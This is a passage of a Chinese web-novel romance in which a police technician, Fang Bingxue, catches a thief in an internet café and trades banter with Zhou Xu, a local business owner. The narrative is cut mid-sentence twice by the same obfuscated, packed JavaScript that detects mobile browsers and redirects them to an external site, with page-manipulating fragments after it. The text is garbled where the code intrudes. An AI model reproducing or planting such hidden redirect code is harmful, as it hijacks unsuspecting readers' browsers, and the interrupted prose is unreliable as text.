他这样想着,给电脑关了,准备走路回去,站起来的时候看了眼,沙发背上搭着周旭给他的外套,挺厚实的,扛风。 方秉雪拎起来,穿身上了。 县城有时候就这点尴尬,地方小,碰上不远不近的距离,开车有些没必要,还容易堵,走路的话就费腿,方秉雪估计了下,走回宿舍,大概得二十分钟。 要是有摩托车就好了,省事。 方秉雪不亏待自己,虽然只在这儿短短一年,但他决定明天上班问下马睿,看哪儿有卖二手摩托的,等他走的时候,再卖掉就行。 拨开插销的时候,方秉雪突然想起来,周旭说自己有个修车行,那肯定清楚呀! 包间和外头大厅不一样,不知道里面装修用了啥材料,反正方秉雪打视频时特清净,一点也没被打扰,而这会出来,兜头就被打游戏的声音吵着了。 枪械的爆破音中,一个染着黄毛的青年愤怒地砸了下键盘:“操,一群菜鸟!” 他右手边的是个寸头,嘴里正叼着根烟,懒得搭理这陌生人一眼。 黄毛愤愤不平的:“我才进去就被爆头了,烦,去买泡面吃。” 他说着就从椅子上站起来,使劲儿伸了个懒腰,给手指捏得咯咯作响,然后才佝偻着背往外走,刚到楼梯口,被人拍了下肩。 “谁啊,”黄毛不耐烦地回头,“认错人了吧你?” 方秉雪顺势给手搭上去,笑眯眯的:“走一趟呗。” 黄毛身形一顿,下意识地就往前跑,可方秉雪的速度比他更快,左臂横勒住对方咽喉的瞬间,右手已经把黄毛的整条胳膊反折,连着人往墙上猛地撞去—— “哐当!” 一把螺丝刀被甩落在地上。 “杀、杀人了!”黄毛顿时矮了半截,整个人被一股不容抗拒的力量往下压,额头抵在楼梯道的灰墙上,“救命啊!” 楼下传来急促的脚步声,服务员举着扫把探头,看到的正是黄毛双手被反剪,发出杀猪般的惨叫,而方秉雪一脚踢开了螺丝刀,膝盖死死地压在对方身上:“动!再动!” 他一眼就看出这人不对劲了。 果然,在等待派出所出警的时候,方秉雪已经从黄毛的兜里发现了五部手机,两张身份证,和一副尼龙手套。 黄毛抱头蹲在地上,一个中年男人从楼下上来,满脸堆笑地和方秉雪握手:“你好,我们肯定全力配合,支持警方工作。” 方秉雪迟疑了下:“啊,这个……” “我们老板这两天不在,”男人很娴熟的模样,“店里有监控,主要对着收银台跟过道那,分辨率还行,需要的话随时可以拷贝。” 外面已经隐约传来动静了,方秉雪笑笑:“我就一热心市民,这话等会跟警察说就成。” 男人狐疑地看了他一眼,可还没说什么呢,警察从外面进来了,方秉雪迎上去,低声耳语了几句,为首的警察就点点头,目光落在角落的黄毛身上。 而在嘈杂的游戏音里,方秉雪悄然朝外走去。 脚步在收银台那停下了。 扎着马尾的姑娘抬头看他:“你好?” 方秉雪清了清嗓子:“我是……周旭带来的。” “哦,”姑娘恍然大悟道,“就是你啊。” 方秉雪:“嗯?” 姑娘咧嘴一笑,很热情:“没事,您跟我来。” 她说着就往外走,方秉雪在后面跟上,出了一楼游戏厅的大门,街道对面停着辆黑色轿车。 “老板给我交代过了,”姑娘拿出把车钥匙,“您开这个。” 方秉雪有点傻眼。 不是,就这么轻易地给他留了辆车? 这也太窝心了,都有些……不合适吧。 他知道周旭这人外表蛮横,其实挺心善的,但也不至于细致到这种地步,并且借了车,就得还,一来一回的,俩人找时间还得见面,方秉雪心里突然别扭了,说不上来。 姑娘又补充了句:“对了,老板还说,付五十块钱车费就行,明天有时间了打电话,他找人去开回来。” 方秉雪:“……” 他有点想翻白眼,走路二十分钟的距离,收五十的车费? 人家姑娘的手还在伸着,特期待地看着他,方秉雪今晚折腾的时间长,也真有点累了,于是给车钥匙接过,无语地掏出五十块钱,递过去。 夜幕下,小姑娘笑嘻嘻的:“您记着给老板打电话哈。” “行,”方秉雪都准备转身了,突然想起来,“周旭电话多少?” 他给车钥匙握在手心:“你说,我记一下。” 但第二天,方秉雪并没有给周旭打电话。 针对火车站频发的盗窃案件又提上议程,这次有些棘手,因为犯罪分子还伪装残障人士,一边望风,一边进行逼捐,目前发现这个团伙组织多人,长期流窜作案,已经达到了数额巨大的标准。 甚至可能存在暴力胁迫和非法拘禁。 他没跟周旭联系,周旭也没给他打电话,忙碌的工作间隙偶尔想起来,方秉雪就提醒自己,等下班了一定拨过去,可这么简单的事,竟也跟流星划过天际似的,不声不响地忽略掉了。 不是他懒,有拖延症,实在是方秉雪这两天都是在单位睡的。 侦查阶段,为了防止走漏风声,确定犯罪团伙的核心成员,方秉雪把之前提取的指纹传真到原单位,在技术中心进行交叉对比,同时还得讲课——他这次来的目标之一,就是在离开的时候,培养三名“带不走”的技术骨干。 晚上吃饭那会,马睿从外面拎回来兜吃的,毕恭毕敬地递过去:“方老师,来尝尝蜂蜜小蛋糕。” 方秉雪抬头,没什么表情,马睿连忙加了句:“好吃的,我刚从店里买回来,无水无糖纯蜂蜜!” 他没再说什么,拿起一枚吃了,是老式的鸡蛋糕,微甜,不腻,上面撒了浅浅的黑芝麻,就是稍微有点噎,方秉雪刚抽出纸巾擦手,一杯水就恰如其分地递来。 马睿特狗腿地笑,就差摇尾巴了,不怪他现在如此谄媚,实在是方秉雪这两天,有点凶了。 倒是不会跟李文斌一样吵人,拍着桌子骂骂咧咧,他讲完后,平静地巡视一遍小组成员:“还有问题吗?” 下面坐着的,就犹犹豫豫地互相看看。 方秉雪把圆珠笔放下:“行,没问题的话,你们一个个再复述一遍。” 他把细节抠得太过了,以至于马睿这两天闭上眼,就感觉自己回到了高中课堂,战战兢兢地站在讲台上,看着老师给他改作业,最可怕的是,当面批改,当场订正,同时再抛出一个类似的题目继续测验。 “方老师,”马睿老老实实地坐在对面,把下巴搁桌子上,“咱什么时候收网啊?” 他知道方秉雪不负责行动具体安排,就是随口嘟囔,结果对方慢条斯理地喝着水:“就这两天。” 马睿眼睛一亮:“真的?” 他这段时间忙得有点崩溃,那个团伙太狡猾了,之前不是没被李局盯上过,但一直没找到犯罪证据,眼下能一网打尽,实在是迫不及待。 方秉雪拧好杯盖,投了个眼神过去:“稳住。” 马睿挠了挠头,嘿嘿直笑:“赶紧给这活忙完吧,我、我都有点怕你了。” “要不换换?” 小李风风火火地从外面走来,把怀里抱着的文件袋“砰”地一下撂桌上:“你跟我师父蹲点,我跟雪饼……哎我师父不在屋里吧?” 方秉雪抬了抬下巴:“喏,后面沙发上坐着呢。” 小李大惊:“嗬!” 他忙不迭地扭头看了圈,差点给鼻梁上架着的眼镜给晃掉了,回头的时候抚胸口:“方老师你太吓人了!” 方秉雪就埋着头笑。 这一番插科打诨,气氛松快了不少,毕竟都是年轻人,身体好,再忙再累出去洗把脸就重新精神了,小李给工作的事交代完,随口说了句:“你这衣服挺好看的,哪儿买的啊?” 共事个把月的时间,方秉雪已经发现了,小李完全就是理工科的审美和思维,除了警服外,每天都是如出一辙的格子衫,白短袖,偶尔换件纯色的工装风,所以……他顺着小李的目光,落在自己腿上了。 上面叠着件黑色牛仔外套,宽松款,没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15298554|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么图案和花样,面料硬挺,质感不错。 方秉雪“嘶”了一声。 他都忘记自己是怎么给它捞上了,原本墙上有俩粘钩,大家上班随手就把衣服挂着了,但这件吧,对方秉雪来说稍微有点大,不是说他身形纤细,方秉雪是警校优秀毕业生,有着漂亮而不夸张的肌肉线条,腰是腰,腿是腿的,主要是周旭骨架太大,所以路过的民警只要看一眼,就能敏锐地发现,这不是他的衣服。 除此之外还有个原因,就是晚上在办公室打盹的时候,外套一叠垫脑袋下,正合适。 方秉雪打算,过两天洗干净再还给周旭。 那么既然脏了,吃鸡蛋糕的时候垫腿上,不过分吧? 好吃是好吃,容易掉渣嘛。 他已经把衣服拿垃圾桶那抖过了。 方秉雪心虚,含糊地“嗯”了一声,准备给这个话题敷衍过去,同时决定今晚回去洗衣服,给车也加满油,不能再忘了。 但没想到小李这会可能有点空闲,靠在桌子上,跟马睿聊起来了:“记得咱雪饼不经常穿黑的,我还想,皮肤白的人穿浅色就是好看。” 马睿应声:“风沙大容易脏啊,我那白球鞋穿两天,网面都一层的土,你信不信他待的时间一长,也要换风格。” “是啊,”小李赞同地点头,“不过黑色也好看,帅。” 方秉雪单手撑着额头:“没,我什么颜色都穿的,哈哈。” 马睿不信:“粉的也穿?” “穿啊,我好几件粉色衣裳呢。” 这话是真的,他当初被人开玩笑说烧饼,就是穿了件粉红色的衬衫去执行任务,小方警官一表人才,梳油头戴墨镜,系的领带黑底红花,衬衫扎进窄腰,晃着两条大长腿扭进酒吧包间,笑容迷人,让在座的全都移不开眼,活脱脱的奶油靓仔。 就是回去后被同事笑,说他花枝招展。 哪怕在办公室睡了两天,他这会儿也没什么颓废劲儿,只在眼底下稍微泛了点青,方秉雪搓了搓那牛仔外套,笑着:“这就叫风格百变。” 这么一着,下班回去的路上,方秉雪心想,不能再拖了,得赶紧给东西还了。 他连着伏案工作两天,浑身都是酸痛的,给门反锁,换了鞋子后,边解衬衫边打电话。 虽然这会儿已经十点多了,但他莫名觉得,周旭应该没睡。 结果一直到自动挂断,那边都没接。 方秉雪没继续打,给手机撂桌子上就走了,好容易今晚能休息下,只想赶紧洗完澡睡觉。 他习惯给水温调低一点,感觉清爽,舒服,不至于浑身都被热水烫得懒散,方秉雪喜欢这种“尽在掌控”的感觉,让他有安全感。 洗完出来,还没吹头发呢,方秉雪站在镜子前擦香香,刚给白色的保湿霜点在脸颊上,就听见手机响了。 拿起来一看,是周旭打开的。 他洗完澡,嗓音就稍微有一点点的哑:“喂?” 对面安静了下,才回话:“方秉雪?” “嗯,旭哥,”方秉雪没耽误擦脸的动作,“你什么时候方便,我把车还你。” 原本周旭说的是,有时间了打个电话,他找人过去取,但方秉雪并不想告诉对方自己住哪儿,看了眼墙上的钟表,继续道:“后天怎么样?” 后天周六,洗的衣服也干了,他一早就能送过去,顺便问问买摩托的事。 “行啊,”周旭那边稍微有点乱,应该是在台球厅,还能听到背景里的球体撞击声,“你要没时间,我这会去开车也行。” 方秉雪说:“别,太晚了。” “睡那么早。”话筒里传来男人的轻笑,可能喝酒了,尾音有点飘,有点浪,隔着嘈杂和距离往他耳朵眼里钻。 旁边肯定聚了不少朋友,方秉雪都能听到有人起哄,说谁啊,叫出来一块儿玩呗。 但是几秒后,这些纷乱的声音就消失了,应该是周旭抬脚往外走,推开了门,能听到轻微的转轴声。 周旭说:“就后天吧。” 方秉雪握着手机:“行,对了,你还发烧吗?” “烧都退了,早好了。” “那就好。” 但说完了,俩人也没挂电话,真奇怪,他居然感觉周旭的声音还有点烫。 “你这会在干什么呢?” “刚洗完澡,”方秉雪擦好脸了,“准备睡呢。” 那边“哦”了一声,看来真的喝酒了,没那么清醒,竟然紧接着一句:“你一个人洗的吗?” 方秉雪愣着了,还没反应过来,就听见周旭立马道歉:“啊,没那个意思,对不起,我喝多了。” 人潮声褪去,话筒里只能听见呼吸和呜咽风声。 周旭又重复了一遍:“对不住,说错话了。” 方秉雪说:“没事。” 但周旭仿佛实在为脱口而出的话懊恼,顿了下:“真不好意思啊,要不,你骂我两句?” 这就不至于了,大老爷们之间开个玩笑有啥的,甚至都算不上玩笑,方秉雪不觉得冒犯,有点想笑,这周旭喝醉了怎么这样啊,又老实又好欺负的。 他故意板着脸:“没必要,就这样吧。” 对面安静下来,不吱声了。 “行了,我得睡了,”方秉雪没忍住,真的笑出声了,“你也早点休息吧……神经病。” 周旭说:“哎。” 20.第 20 章 酒这玩意,在成年人的世界里,社交价值经常大于实际意义。 周旭烟酒都碰,都没瘾。 对他而言,无论是抽烟还是喝酒,往往会带来一种宁静的感觉,很舒服,所以周旭不会放纵自己,快到那个点了,自然会停。 譬如现在。 他站在台球厅二楼的露台处抽烟,这个店面盘得早,当初没花多少钱,周旭挺用心的,跑前跑后地拉了不少人脉,等到店开得差不多,他就不太管生意上的事,偶尔过来,也是和朋友们玩几把就走。 不过熟悉的人一看,就能发现,这里处处都是周旭的痕迹。 露台面积大,摆了几张能小酌的桌椅,头顶垂着暖黄色的小灯泡,围栏种的全是月季,春夏正是开花的时节,粉骨朵热闹地攒在枝头。 周旭就趴在栏杆上,咬着烟看星星。 没多久,丁勇拎着罐啤酒过来,挤他旁边了——这人跟周旭十几年的交情,台球厅就是他俩一块开的,哥俩感情是真的好,互相不瞒着。 “咋了,”丁勇胳膊肘搭在栏杆上,“有心事呐?” 这家伙五年前去了趟拉萨,回来后就自称大彻大悟,手腕子上绕一堆的菩提串,三句话不离佛法和本心,特爱听朋友唠烦心事,唠完,顺势再卖俩串出去,说盘这个能静心,不收钱,是缘,你看着给八百八十缘就成。 周旭没看他,也没搭话。 丁勇吭吭哧哧地笑了:“不是我说,你刚给谁打电话?” “一个朋友,”周旭的眼神扫过来,“想什么呢你。” 丁勇乐了:“你还有我不认识的朋友,谁啊?” 熟了就这样,互相间说话没个正行,周旭换了个姿势,转为后背靠在栏杆上,指间夹着烟:“你说,有些人看着挺机灵的,怎么就那么……” 他琢磨了下,才说出四个字:“敢爱敢恨。” “咔嚓”一声,丁勇给啤酒罐的拉环扯开了:“还有呢?” 周旭摇头,笑了:“没什么说的,就是突然想到了。” 说来挺好玩的,他跟方秉雪见面次数不多,每次还都挺热闹,周旭觉得这人有点“劲劲的”,不是单指长相,而是一种说不出来的感觉,非要形容的话,就是方秉雪有点像棉花包铁。 看着软,实际上骨头挺硬。 那么冷的河,就会个狗刨,都敢闷着头扎进去。 还特警惕,一肚子的心眼,周旭记得有次跟阿亮从公安局出来,远远地瞅见方秉雪,特自然地摆弄倒车镜,其实是在不动声色地打量他。 周旭觉得,有点意思。 而自从这人烂醉一场,吐得嗷嗷叫,再没什么形象之后,周旭隐约嗅到了个味儿,那就是方秉雪在他面前,有点懒得装了。 无辜懵懂都没了,笑得蔫坏。 他敏锐地察觉到,现在的方秉雪,才暴露出最初那种杀气腾腾的美—— 令人喉头一紧。 反正刚才骂的那一句,给周旭骂得有点爽,这会儿也不知道该怎么跟丁勇解释,就仰着脖子看星星,可星星也搞不懂啊,眨着眼和他对视,忽闪忽闪的。 “你说,为什么我就想逗他呢,”夜幕沉沉,周旭吞咽了下,“觉得好玩,新鲜?” 丁勇“咕咚”灌下一大口啤酒,目光坚定:“你继续。” “继续个屁,”周旭今晚喝的不少,浑身都懒懒的,“我看我最近就是闲了,胡思乱想。” “哥们,”丁勇严肃道,“你就是寡得太久了,对待感情依然是小学生的水平,还逗人家,你别冲上去扯小姑娘辫子,说喜欢才欺负……” 周旭叫停了:“打住,我刚没说姑娘啊,是男的,哪儿有辫子。” 丁勇足足顿了好几秒,才狐疑道:“男、男的?” “对啊,”周旭特坦然,“我就觉得这人挺有意思的,没了,你瞎琢磨什么呢!” 丁勇“嗤”了一声,扭头就走:“切,没劲儿!” 周旭这边是坦然了,另一边的方秉雪,则十分不爽—— 原因无他,全赖王川在那上蹿下跳:“老子又回来了,想我了撒?” 方秉雪都准备睡了,被吵得头疼,伸手捏自己的眉心。 王川美得不行:“我这手机是媳妇买的,你听,是不是声儿特清晰?” “不是,”方秉雪冷飕飕的:“谁问你了。” 原本还想下次见面遥遥无期,结果这么快就要见了——他媳妇贺岚女士是位农业生态学专家,研究抗盐碱牧草种植的,目前取得了突破性成果,被邀请来开讲座,推动该技术在典型区域的示范应用。 王川身为家属与有荣焉,从单位请了三天的假,作为陪伴。 给王川激动的,刚加完班就给方秉雪打电话,方秉雪听到最后也笑了:“真行啊,贺岚太厉害了。” “就是,还说要请你吃个饭,你啥子时候得行嘛?” “周六怎么样,”方秉雪想了想,“那天我没事,不上班。” 王川乐呵着:“要得!” 方秉雪主要做的是技术支援,提前问过局里,这次收网行动不需要他参与,周末时间就给空出来了。 所以星期六一早,方秉雪先去还车,中间还经过了那家网吧,上次捉的盗窃犯没掀起啥风浪,毕竟娱乐场所鱼龙混杂,治安一直是常见问题,小偷小摸的不算罕见,估计这事周旭都不知道。 正好,还完车王川来接他,省得方秉雪再走回去,县里公共交通不发达,出租车少得可怜,基本就存在于车站和医院,私营面包车倒是有,但都是跑的短途,很不方便。 他把外套叠好放袋子里,给车加满油,甚至还拎了兜水果。 只要方秉雪想,那么在人情世故上就挑不出一点的毛病,四月的西北小城,风是裹着沙粒的粗粝手掌,任凭怎么抚摸,也没法儿催得沙枣提前开花,倒是能按着青年的后背往前,轻轻推上一推,让他在开门的时候踉跄了下,抬头望来,笑得灿若云霞。 周旭身形顿住,随即移开了目光。 方秉雪把东西递过去:“给,谢谢了啊……你这门槛还挺高。” 周旭这是个独家院,青砖墙体,三层小楼,他一个人住还是偏大了点,但收拾得井井有条,很有生活气息,就是一看便知道,这是个会过日子的人。 “那你慢点,”这人单手插兜,偏着脸不知道在看哪儿,似乎不太高兴的样子,语气冷硬,“小心绊着了。” 天热了,周旭就穿着个短袖和工装裤,袖子边儿还要再往上卷两道,露出宽阔臂膀,可能刚洗完澡,带着种很洁净的香皂味儿。 很多男人个子一高,青春期就容易驼背,可能是故意耍帅,也可能是伏案太久,导致站的时候像没骨头,周旭不这样,他虽然气质是不好惹的懒散样,但只要站着了,就腰板挺直,铁塔一般。 之前开玩笑,说描下来当门神,还真合适。 毕竟,身影都能给方秉雪拢着了。 “知道了,”方秉雪抬眼看他,“你倒是接呀。” 周旭这才“哦”了一声,把衣服和水果接住,拎在手上,憋出来个“谢谢。” 说不上来,有点不对味,他俩虽然不算相熟的朋友,但气场方面意外相投,聊天不冷场,自在,可这会儿周旭的态度,有点别扭。 方秉雪眼睛一眯:“天呐,你真的烧傻了。” 他说着就要伸手去摸额头,刚一动作,周旭就往后躲,单眼皮都要给睁大了:“别、哎你别……” 可越这样,方秉雪就越是要追,居然在院子里闹起来了,周旭招架不住,用手臂去挡,像是要印证人家的话似的,真的烧傻了,另只手拎的水果都忘了放。 方秉雪大笑起来,捉住对方的手腕时,下意识地拧了过去,而就在这个关口,一直往后躲的周旭停下身形,瞬间反手过来,也扣住了他的小臂。 一拉,一扯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304196|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方秉雪不动了。 周旭眯了下眼睛:“你这是……练过?” 刚才躲避连连的模样没了,他这会儿的眼睛又凶又亮,盯着方秉雪的脸看,方秉雪倒是没什么多余的神色,很慢地眨了下眼:“哦。” “挺专业的,”周旭继续,“在哪儿练的,挺厉害啊?” 他俩对峙时,手一直没松,保持着互相钳制的矛盾状态,方秉雪像是想到了什么似的,声音软下来:“那个,别人教的。” 周旭给手松开了。 男人嘛,学点擒拿之类的技巧很常见,开玩笑的时候,也会互相比划下,这点小插曲结束得快,没一会儿,方秉雪就在屋檐下揉手腕了,装模作样地抱怨,说周旭给他捏疼了。 周旭洗完苹果,切好了端出来:“娇气。” 方秉雪毫不反驳,伸手去捏了块放嘴里:“甜,不愧是我买的。” 西北地区昼夜温差大,阳光透亮,滋养出来的苹果泛着胭脂红,香味浓郁而纯粹。 他吃完就站起来:“钥匙放桌上了,谢谢了啊。” 周旭看着他:“成,你走吧。” 本来就是过来还东西的,方秉雪没再多说什么,打完招呼便走了,提前跟王川说过,九点的时候过来接他,方秉雪在路边等了几分钟,听见了“滴”的一声。 “扰民,”他坐上副驾,拉安全带的同时进行批评教育,“你这喇叭一按,我看那晒太阳的大爷都哆嗦了下。” 要不说人有惰性,在非工作日的时候容易放松警惕,方秉雪只顾着跟王川贫嘴,没注意不远处那独家小院的门,开了条缝。 又很快阖上。 这顿饭吃的时间不长,贺岚下午有工作,就王川跟方秉雪碰了个杯,结束的时候,贺岚还给他送了一大包果脯,说这个甜,拿着当零食吃。 方秉雪眼睛亮了:“我去,我就惦记这个呢!” 一直到了晚上,他都在赞美伟大的贺岚老师赠与食物,虽然天气干燥,风沙大,但方秉雪挺适应西北的气候,唯一欠缺的就是,吃饭还是有些不习惯。 方秉雪给秦素梅打过电话,问了怎么做话梅小排,决定今晚冒险一下,亲自下厨。 按照秦老师的指示,他去菜市场买排骨和青菜,正挑着呢,闻到了一股很淡的烟草味。 方秉雪没抬头,慢条斯理地拿了把豌豆尖—— 下一秒,他的手腕被握着了。 “走,”周旭的声音沉沉地响起,咬着他的耳朵,“跟我去个地方。” 动作蛮横,仿佛不是商量,而是通知。 事实上,他几乎是推搡着给方秉雪塞进副驾驶,然后载着人一路狂奔,盯着前方,一句话也没说。 方秉雪无助回头:“我的排骨……” “老子给你做。”周旭似乎心情不太好,扯着人进了一家饭店——没走正门,顺着小道上了楼,方秉雪没多说什么,就偶尔哼哼一两声,说给他拽疼了,问这是要去哪儿啊。 而被拉进一处没开灯的包间时,方秉雪心下了然,果然,他猜得没错。 周旭轻轻地推开侧面一道门缝,朝他示意:“过来。” 方秉雪眨着眼,明知故问:“什么呀?” 房间里黑黢黢的,头顶垂着浮夸繁琐的水晶灯,耳畔是隔壁屋的欢声笑语,气氛不错,有人在高声唱歌,唱的还是年初刀郎新发的《情人》。 衬得这里很安静,都能听到彼此的呼吸,黑暗中,方秉雪猝然对上了周旭的眼睛,亮晶晶的。 可能彼此距离太近了,说不上来,他本来还想继续开玩笑呢,莫名有点心慌。 “看你那男人,”周旭嗓音微哑,“是个什么混账王八蛋。” 骂完,他可能觉得这话过了,难听了,就咳嗽了一声。 再开口,语调温和许多,还有点捏着嗓子:“你看看,他竟然背着你结婚了!” 周旭痛心道:“天呐。”